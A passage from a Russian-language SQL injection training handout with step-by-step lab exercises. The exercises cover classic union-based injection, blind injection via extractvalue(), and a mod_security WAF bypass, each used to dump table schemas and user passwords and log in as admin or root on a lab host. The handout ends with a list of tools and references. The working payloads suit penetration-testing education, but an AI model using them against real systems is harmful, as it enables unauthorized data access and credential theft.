авторизации в всех таблиц и системе. колонок в b. В качестве параметра «id» в адресной строке браузера введите следующую пространстве СУБД комбинацию: 14+union+select+'mytext' c. Теперь, в качестве параметра «id» в адресной строке браузера введите такую комбинацию: 14+limit+0+union+select+'mytext' d. Как можно заметить, в этом случае на странице отображается текст, который введен между двумя одинарными кавычками. mytext e. На этот раз в качестве параметра «id» в адресной строке браузера введите следующую комбинацию: 14+union+select+'mytext'-- Мастер-класс по теме «Внедрение операторов SQL» Страница 3 из 8
  • 4. Действие Описание f. Должен быть получен результат, аналогичный предыдущему, но при выполнении этого запроса отобразится вводимый текст между двумя одинарными кавычками совместно с данными из СУБД. test14 mytext g. Попробуйте в качестве параметра «id» в адресной строке браузера ввести следующую комбинацию: 14+OR+1=1-- Вы увидите содержимое всей таблицы. h. Выведите список всех таблиц и колонок в базе данных, выполнив следующий запрос: ?id=14+union+select+concat_ws(0x3a,table_name,column_name) +from+information_schema.columns-- i. Получите все значения из таблицы «users». Запрос должен выглядеть следующим образом: ?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users-- 4. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе пользователем http://192.168.0.51:80/ под пользователем sqladmin. «sqladmin» Мастер-класс по теме «Внедрение операторов SQL» Страница 4 из 8
  • 5. 1.2«Слепое внедрение операторов SQL» (Blind SQL Injection) Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:81/ 1. Используя a. Зайдите на интерфейс http://192.168.0.51:81/ одинарную кавычку, b. Перейдите на страницу «/actions.php». найти уязвимость c. Последовательно, подставляя одинарную кавычку во все параметры, передаваемые типа Blind SQL странице методом GET, необходимо обнаружить уязвимость SQL Injection. В Injection данном случае – это Blind SQL Injection. Query failed: You have an error in your SQL syntax d. Убедитесь, что в данном случае уязвимость является «Слепым внедрением операторов SQL», используя методы, изученные на предыдущем занятии. 2. Используя технику с a. В уязвимый параметр введите следующую конструкцию: функцией 1 AND extractvalue(1,concat(0x5C,(select 'mytext')))-- ExtractValue() b. Как можно заметить, на странице отображается текст, который вводится между получить двумя одинарными кавычками. идентификаторы и пароли всех Query failed: XPATH syntax error: 'mytext' пользователей c. Используйте следующий запрос, чтобы получить запись о первой таблице с первой колонкой этой таблицы в пространстве СУБД: 1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name) from information_schema.columns limit 0,1)))-- d. Используя подобный запрос, становиться возможным последовательно выявить всю доступную структуру СУБД. Следующий запрос позволит прийти к цели несколько быстрее: 1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name) from information_schema.columns where table_schema!='information_schema' limit 0,1)))-- e. Увеличивая значение limit (limit 0,1 > limit 1,1 > limit 2,1 и т.д.), узнайте название таблицы пользователей и колонок в ней. f. Используя все ту же технику эксплуатации уязвимости Blind SQL Injection, получите пароль пользователя «blindSQLadmin». Опционально, можно получить пароли и других пользователей в этой таблице. Примечание: Помните про ограничение в 31 символ в возвращаемой ошибке, вызываемой функцией extractvalue(). Для обхода этого ограничения может использоваться функция MID(). Пример: mid((select 123 from table limit 0,1),32,63) 3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь под пользователем пользователем «blindSQLadmin» в интерфейсе http://192.168.0.51:81/. «blindSQLadmin» Мастер-класс по теме «Внедрение операторов SQL» Страница 5 из 8
  • 6. 1.3Обход Web Application Firewall (WAF) при эксплуатации уязвимости SQL Injection Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:9191/ 1. Найти уязвимый a. Зайдите на интерфейс http://192.168.0.51:9191/ сценарий для b. Перейдите по ссылке «actions here». проведения атаки c. Используя одинарную кавычку, убедитесь, что в параметрах адресной строки содержится уязвимость типа «Внедрение операторов SQL». d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами. Например, установите в значение любого параметра конструкцию: «1 union select 1» Вы увидите стандартное сообщение об ошибке, возвращаемое Mod_Security. Примечание: Web-приложение защищено mod_security v.2.5.9. 2. Используя технику a. Используя технику обхода правил mod_security, следующая конструкция будет обхода waf, пропущена WAF: воспользуйтесь /*! уязвимостью limit+0+union+select+concat_ws(0x3a,table_name,column_name),2,3+from+informat ion_schema.columns*/ b. Используя уже известную Вам технику эксплуатации уязвимости типа «Внедрение операторов SQL» в классическом и слепом виде, получите пароль пользователя root. Опционально, можно получить пароли и других пользователей. 3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе пользователем http://192.168.0.51:9191/ под пользователем root. «root» Мастер-класс по теме «Внедрение операторов SQL» Страница 6 из 8
  • 7. 2 Дополнительные материалы 2.1 Инструменты для работы с SQL Injection  sqlmap (http://sqlmap.sourceforge.net/) Полная поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server Частичная поддержка: Microsoft Access, DB2, Informix, Sybase и Interbase  sqlus (http://sqlsus.sourceforge.net/) Реализована поддержка только MySQL  bsqlbf-v2 (http://code.google.com/p/bsqlbf-v2/) Больше ориентирована под слепые SQL-инъекции. Реализована поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server  Pangolin (http://www.nosec.org/2009/0920/74.html) Реализована поддержка: Oracle, MS SQL Server 2000, MS SQL Server 2005, Sybase, Access, Mysql, DB2, Informix. Pangolin распространяется на коммерческой основе, но также доступна и бесплатная версия с ограниченным функционалом. Мастер-класс по теме «Внедрение операторов SQL» Страница 7 из 8
  • 8. 2.2Ссылки на дополнительные материалы  http://devteev.blogspot.com/2009/10/advanced-sql-injection-lab-full- pack.html (полная версия данного мастер-класса)  http://www.ptsecurity.ru/analytics.asp (Аналитические материалы от сотрудников компании Positive Technologies)  WASC: http://projects.webappsec.org/SQL-Injection  OWASP: http://www.owasp.org/index.php/SQL_Injection  Ресурсы Securitylab: http://www.securitylab.ru/  Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle, MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix)  Ресурсы Antichat:  MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html  MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127  MSSQL: http://forum.antichat.ru/thread15087.html  ORACLE: http://forum.antichat.ru/showthread.php?t=40576  PostgreSQL: http://forum.antichat.ru/thread35599.html  MSAccess: http://forum.antichat.ru/thread50550.html Мастер-класс по теме «Внедрение операторов SQL» Страница 8 из 8